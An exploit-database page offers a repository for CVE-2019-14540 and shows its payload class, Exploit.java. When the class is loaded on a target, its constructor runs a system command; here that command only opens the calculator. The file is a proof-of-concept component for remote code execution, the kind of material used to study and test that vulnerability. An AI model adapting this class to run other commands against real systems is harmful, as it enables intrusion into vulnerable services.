Exploit databaseDownload repository ZIP
GH-0b037fa18e587ad5a0025e6e86b8f7c7
leadroyal/cve-2019-14540-exploit
Sources for CVE-2019-14540
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files1
leadroyal/cve-2019-14540-exploitRevision 745ae31c61ba
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
remote_codebase/Exploit.java
Java · 537 bytespublic class Exploit {
public Exploit() {
try {
if (System.getProperty("os.name").toLowerCase().startsWith("win")) {
Runtime.getRuntime().exec("calc.exe");
} else if (System.getProperty("os.name").toLowerCase().startsWith("mac")) {
Runtime.getRuntime().exec("open /Applications/Calculator.app");
} else {
System.out.println("No calc for you!");
}
} catch (Exception e) {
e.printStackTrace();
}
}
}